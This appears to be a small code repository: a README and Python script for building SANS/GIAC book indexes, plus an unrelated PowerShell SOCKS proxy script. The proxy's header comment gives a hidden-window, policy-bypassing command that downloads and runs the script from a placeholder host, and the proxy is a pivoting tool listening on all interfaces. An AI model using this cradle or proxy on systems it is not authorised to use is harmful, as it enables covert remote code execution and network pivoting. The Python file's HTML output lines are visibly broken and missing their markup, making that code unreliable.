├── README.md ├── sans_index_generator.py └── socks_proxy_server.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # SANS-Index-Helper-Tool 2 | Python command line tool used for generating GIAC Certification book indexes. Provides a command line interface to create a SANS book index for your GIAC certification attempts. This is a simpler evolution of Matthew Toussain's tool at https://github.com/0sm0s1z/Xenocrates. 3 | ## Usage and Requirements 4 | The tool requires Python 3. To start the program, create a folder and place the script within. Run the script with the following syntax: 5 | ``` 6 | $ python sans_index_generator.py 7 | ``` 8 | ## Purpose 9 | This tool allows you to create a basic index that is more than sufficient for use. An index that is too verbose can lead to longer lookup times resulting in time loss. Nothing replaces knowing the material, but a good index can allow you to quickly search for information if needed. 10 | ## Instructions 11 | On start, the tool will prompt you for the current book that you are studying. This will mark each new entry with a book number. If you want to designate a new book, exit out of the script and re-open, specifying the new book. This will prevent you from having to type the book number for all 200 pages of a SANS book (trust me, typing '560.1' 200 times gets old). 12 | ``` 13 | ----------------------------------------------------------------------- 14 | | SANS Index Generator | 15 | ----------------------------------------------------------------------- 16 | Please specify the current book that you are indexing (Ex. '542.2') 17 | Current Book: 18 | ``` 19 | After a book has been specified, the tool will ask you to enter a topic keyword and its associated page number. 20 | ``` 21 | Please enter the book page keyword(s) and then the page number(s) for each entry. 22 | Type 'quit' or 'exit' to save progress, generate html file, and exit this script. 23 | 24 | Enter topic keyword(s) : WebSocket, Implementation 25 | Enter page number(s) : 139 26 | Entry Added... 27 | 28 | Enter topic keyword : 29 | ``` 30 | After pressing Enter, the entry will be added and the tool prompts for another entry. This is an infinite loop that can be closed by typing 'exit' or 'quit' at the keyword prompt. This action will save the data file and generate an html file from the data file. 31 | ## Data File 32 | This is the file generated from your data input. Keep a backup of this file just in case, as it holds all of your data. Here is an example of what the file looks like: 33 | The tab-separated values are 'keyword', 'book#', 'page#'. 34 | ``` 35 | DNS 542.1 33 36 | DNS - Reverse Scan 542.1 36 37 | DNS - Brute Force 542.1 37 38 | DNS - Recon Tools 542.1 38 39 | ``` 40 | ## HTML File - End Result 41 | This file is produced as the end result. It displays your index alphabetically sorted with some color formatting. The HTML file can be opened with the browser of your choice. From here, you can print your index as a single column data string, or you can copy and paste the data into a word processor (preserving the colors) and convert it into a two-column document for a more professional appearance. 42 | -------------------------------------------------------------------------------- /sans_index_generator.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import operator 3 | 4 | def main(): 5 | index = [] 6 | keyword_main = [] 7 | book = [] 8 | page = [] 9 | 10 | print( "-----------------------------------------------------------------------") 11 | print( "| SANS Index Generator |") 12 | print( "-----------------------------------------------------------------------") 13 | print( "Please specify the current book that you are indexing (Ex. '542.2')" ) 14 | working_book = input("Current Book: ") 15 | print( "Please enter the book page keyword(s) and then the page number(s) for each entry." ) 16 | print( "Type 'quit' or 'exit' to save progress, generate html file, and exit this script.\n" ) 17 | 18 | with open('index.html', 'w') as file: 19 | file.write("\n") 20 | file.write("\n") 21 | file.write("\n\n") 22 | 23 | while True: 24 | keyword = '' 25 | keyword = input('Enter topic keyword(s) : ') 26 | if keyword == 'quit': 27 | break 28 | elif keyword == 'exit': 29 | break 30 | 31 | insert_book = str(working_book).strip() 32 | insert_page = input('Enter page number(s) : ') 33 | 34 | line = keyword + '\t' + insert_book + '\t' + insert_page 35 | 36 | with open('data_file', 'a') as output_file: 37 | output_file.write(line) 38 | output_file.write('\n') 39 | 40 | print ( 'Entry Added...\n' ) 41 | 42 | with open('data_file', 'r') as out_file: 43 | for line in out_file: 44 | line_list = line.strip().split('\t') 45 | keyword_list = line_list[0].split(' ') 46 | keyword_list[0] = keyword_list[0].capitalize() 47 | keyword_list = ' '.join(keyword_list) 48 | keyword_main.append(keyword_list) 49 | book.append(line_list[1]) 50 | page.append(line_list[2]) 51 | 52 | items = len(keyword_main) 53 | i = 0 54 | while items > 0: 55 | index.append([keyword_main[i], book[i], page[i]]) 56 | i += 1 57 | items -= 1 58 | 59 | pos = 0 60 | sorted_list = sorted(index, key=operator.itemgetter(0)) 61 | 62 | with open('index.html', 'a') as file: 63 | for item in sorted_list: 64 | key = item[0].strip('"').rstrip('"') 65 | 66 | # Create Section Header 67 | if key.startswith("A"): 68 | if pos == 0: 69 | file.write("A
\n") 70 | pos = 1 71 | elif key.startswith("B"): 72 | if pos != 2: 73 | file.write("
B
\n") 74 | pos = 2 75 | elif key.startswith("C"): 76 | if pos != 3: 77 | file.write("
C
\n") 78 | pos = 3 79 | elif key.startswith("D"): 80 | if pos != 4: 81 | file.write("
D
\n") 82 | pos = 4 83 | elif key.startswith("E"): 84 | if pos != 5: 85 | file.write("
E
\n") 86 | pos = 5 87 | elif key.startswith("F"): 88 | if pos != 6: 89 | file.write("
F
\n") 90 | pos = 6 91 | elif key.startswith("G"): 92 | if pos != 7: 93 | file.write("
G
\n") 94 | pos = 7 95 | elif key.startswith("H"): 96 | if pos != 8: 97 | file.write("
H
\n") 98 | pos = 8 99 | elif key.startswith("I"): 100 | if pos != 9: 101 | file.write("
I
\n") 102 | pos = 9 103 | elif key.startswith("J"): 104 | if pos != 10: 105 | file.write("
J
\n") 106 | pos = 10 107 | elif key.startswith("K"): 108 | if pos != 11: 109 | file.write("
K
\n") 110 | pos = 11 111 | elif key.startswith("L"): 112 | if pos != 12: 113 | file.write("
L
\n") 114 | pos = 12 115 | elif key.startswith("M"): 116 | if pos != 13: 117 | file.write("
M
\n") 118 | pos = 13 119 | elif key.startswith("N"): 120 | if pos != 14: 121 | file.write("
N
\n") 122 | pos = 14 123 | elif key.startswith("O"): 124 | if pos != 15: 125 | file.write("
O
\n") 126 | pos = 15 127 | elif key.startswith("P"): 128 | if pos != 16: 129 | file.write("
P
\n") 130 | pos = 16 131 | elif key.startswith("Q"): 132 | if pos != 17: 133 | file.write("
Q
\n") 134 | pos = 17 135 | elif key.startswith("R"): 136 | if pos != 18: 137 | file.write("
R
\n") 138 | pos = 18 139 | elif key.startswith("S"): 140 | if pos != 19: 141 | file.write("
S
\n") 142 | pos = 19 143 | elif key.startswith("T"): 144 | if pos != 20: 145 | file.write("
T
\n") 146 | pos = 20 147 | elif key.startswith("U"): 148 | if pos != 21: 149 | file.write("
U
\n") 150 | pos = 21 151 | elif key.startswith("V"): 152 | if pos != 22: 153 | file.write("
V
\n") 154 | pos = 22 155 | elif key.startswith("W"): 156 | if pos != 23: 157 | file.write("
W
\n") 158 | pos = 23 159 | elif key.startswith("X"): 160 | if pos != 24: 161 | file.write("
X
\n") 162 | pos = 24 163 | elif key.startswith("Y"): 164 | if pos != 25: 165 | file.write("
Y
\n") 166 | pos = 25 167 | elif key.startswith("Z"): 168 | if pos != 26: 169 | file.write("
Z
\n") 170 | pos = 26 171 | 172 | if item[0] != "": 173 | file.write("
%s [book: %s / page(s): %s]
\n" 174 | % (item[0].strip('"').rstrip('"'), item[1], item[2])) 175 | else: 176 | pass 177 | 178 | 179 | if __name__ == "__main__": 180 | main() 181 | 182 | -------------------------------------------------------------------------------- /socks_proxy_server.ps1: -------------------------------------------------------------------------------- 1 | # To invoke : Invoke-SocksProxy -bindIP 0.0.0.0 -bindPort 65535 2 | # Serve it like: powershell -exec bypass -nop -noexit -windowstyle hidden -c (new-object system.net.webclient).downloadstring('...host your script.') 3 | [ScriptBlock]$SocksConnectionMgr = { 4 | param($vars) 5 | $Script = { 6 | param($vars) 7 | $vars.inStream.CopyTo($vars.outStream) 8 | Exit 9 | } 10 | $rsp=$vars.rsp; 11 | function Get-IpAddress{ 12 | param($ip) 13 | IF ($ip -as [ipaddress]){ 14 | return $ip 15 | }else{ 16 | $ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString; 17 | } 18 | return $ip2 19 | } 20 | $client=$vars.cliConnection 21 | $buffer = New-Object System.Byte[] 32 22 | try 23 | { 24 | $cliStream = $client.GetStream() 25 | $cliStream.Read($buffer,0,2) | Out-Null 26 | $socksVer=$buffer[0] 27 | if ($socksVer -eq 5){ 28 | $cliStream.Read($buffer,2,$buffer[1]) | Out-Null 29 | for ($i=2; $i -le $buffer[1]+1; $i++) { 30 | if ($buffer[$i] -eq 0) {break} 31 | } 32 | if ($buffer[$i] -ne 0){ 33 | $buffer[1]=255 34 | $cliStream.Write($buffer,0,2) 35 | }else{ 36 | $buffer[1]=0 37 | $cliStream.Write($buffer,0,2) 38 | } 39 | $cliStream.Read($buffer,0,4) | Out-Null 40 | $cmd = $buffer[1] 41 | $atyp = $buffer[3] 42 | if($cmd -ne 1){ 43 | $buffer[1] = 7 44 | $cliStream.Write($buffer,0,2) 45 | throw "Not a connect" 46 | } 47 | if($atyp -eq 1){ 48 | $ipv4 = New-Object System.Byte[] 4 49 | $cliStream.Read($ipv4,0,4) | Out-Null 50 | $ipAddress = New-Object System.Net.IPAddress(,$ipv4) 51 | $hostName = $ipAddress.ToString() 52 | }elseif($atyp -eq 3){ 53 | $cliStream.Read($buffer,4,1) | Out-Null 54 | $hostBuff = New-Object System.Byte[] $buffer[4] 55 | $cliStream.Read($hostBuff,0,$buffer[4]) | Out-Null 56 | $hostName = [System.Text.Encoding]::ASCII.GetString($hostBuff) 57 | } 58 | else{ 59 | $buffer[1] = 8 60 | $cliStream.Write($buffer,0,2) 61 | throw "Not a valid destination address" 62 | } 63 | $cliStream.Read($buffer,4,2) | Out-Null 64 | $destPort = $buffer[4]*256 + $buffer[5] 65 | $destHost = Get-IpAddress($hostName) 66 | if($destHost -eq $null){ 67 | $buffer[1]=4 68 | $cliStream.Write($buffer,0,2) 69 | throw "Cant resolve destination address" 70 | } 71 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort) 72 | if($tmpServ.Connected){ 73 | $buffer[1]=0 74 | $buffer[3]=1 75 | $buffer[4]=0 76 | $buffer[5]=0 77 | $cliStream.Write($buffer,0,10) 78 | $cliStream.Flush() 79 | $srvStream = $tmpServ.GetStream() 80 | $AsyncJobResult2 = $srvStream.CopyToAsync($cliStream) 81 | $AsyncJobResult = $cliStream.CopyToAsync($srvStream) 82 | $AsyncJobResult.AsyncWaitHandle.WaitOne(); 83 | $AsyncJobResult2.AsyncWaitHandle.WaitOne(); 84 | 85 | } 86 | else{ 87 | $buffer[1]=4 88 | $cliStream.Write($buffer,0,2) 89 | throw "Cant connect to host" 90 | } 91 | }elseif($socksVer -eq 4){ 92 | $cmd = $buffer[1] 93 | if($cmd -ne 1){ 94 | $buffer[0] = 0 95 | $buffer[1] = 91 96 | $cliStream.Write($buffer,0,2) 97 | throw "Not a connect" 98 | } 99 | $cliStream.Read($buffer,2,2) | Out-Null 100 | $destPort = $buffer[2]*256 + $buffer[3] 101 | $ipv4 = New-Object System.Byte[] 4 102 | $cliStream.Read($ipv4,0,4) | Out-Null 103 | $destHost = New-Object System.Net.IPAddress(,$ipv4) 104 | $buffer[0]=1 105 | while ($buffer[0] -ne 0){ 106 | $cliStream.Read($buffer,0,1) 107 | } 108 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort) 109 | 110 | if($tmpServ.Connected){ 111 | $buffer[0]=0 112 | $buffer[1]=90 113 | $buffer[2]=0 114 | $buffer[3]=0 115 | $cliStream.Write($buffer,0,8) 116 | $cliStream.Flush() 117 | $srvStream = $tmpServ.GetStream() 118 | $AsyncJobResult2 = $srvStream.CopyToAsync($cliStream) 119 | $AsyncJobResult = $cliStream.CopyTo($srvStream) 120 | $AsyncJobResult.AsyncWaitHandle.WaitOne(); 121 | $AsyncJobResult2.AsyncWaitHandle.WaitOne(); 122 | } 123 | }else{ 124 | throw "Unknown socks version" 125 | } 126 | } 127 | catch { 128 | #$_ >> "error.log" 129 | } 130 | finally { 131 | if ($client -ne $null) { 132 | $client.Dispose() 133 | } 134 | if ($tmpServ -ne $null) { 135 | $tmpServ.Dispose() 136 | } 137 | Exit; 138 | } 139 | } 140 | 141 | function Invoke-SocksProxy { 142 | param ( 143 | [String]$bindIP = "0.0.0.0", 144 | [Int]$bindPort = 1080, 145 | [Int]$threads = 200 146 | ) 147 | try{ 148 | $listener = new-object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse($bindIP), $bindPort) 149 | $listener.start() 150 | $rsp = [runspacefactory]::CreateRunspacePool(1,$threads); 151 | $rsp.CleanupInterval = New-TimeSpan -Seconds 30; 152 | $rsp.open(); 153 | write-host "Listening on port $bindPort..." 154 | while($true){ 155 | $client = $listener.AcceptTcpClient() 156 | Write-Host "New Connection from " $client.Client.RemoteEndPoint 157 | $vars = [PSCustomObject]@{"cliConnection"=$client; "rsp"=$rsp} 158 | $PS3 = [PowerShell]::Create() 159 | $PS3.RunspacePool = $rsp; 160 | $PS3.AddScript($SocksConnectionMgr).AddArgument($vars) | Out-Null 161 | $PS3.BeginInvoke() | Out-Null 162 | Write-Host "Threads Left:" $rsp.GetAvailableRunspaces() 163 | } 164 | } 165 | catch{ 166 | throw $_ 167 | } 168 | finally{ 169 | write-host "Server closed." 170 | if ($listener -ne $null) { 171 | $listener.Stop() 172 | } 173 | if ($client -ne $null) { 174 | $client.Dispose() 175 | $client = $null 176 | } 177 | if ($PS3 -ne $null -and $AsyncJobResult3 -ne $null) { 178 | $PS3.EndInvoke($AsyncJobResult3) | Out-Null 179 | $PS3.Runspace.Close() 180 | $PS3.Dispose() 181 | } 182 | } 183 | } 184 | 185 | function Get-IpAddress{ 186 | param($ip) 187 | IF ($ip -as [ipaddress]){ 188 | return $ip 189 | }else{ 190 | $ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString; 191 | Write-Host "$ip resolved to $ip2" 192 | } 193 | return $ip2 194 | } 195 | 196 | function StartProxyServer { 197 | param ( 198 | [String]$bindIP = "0.0.0.0", 199 | [Int]$bindPort = 1080 200 | ) 201 | return Start-Job { 202 | param($bindIP,$bindPort) 203 | Invoke-SocksProxy -bindIP $bindIP -bindPort $bindPort; 204 | } -ArgumentList $bindIP, $bindPort; 205 | } 206 | 207 | # Invoke-SocksProxy -bindIP 0.0.0.0 -bindPort 65530; 208 | # uncomment above to serve directly from http 209 | --------------------------------------------------------------------------------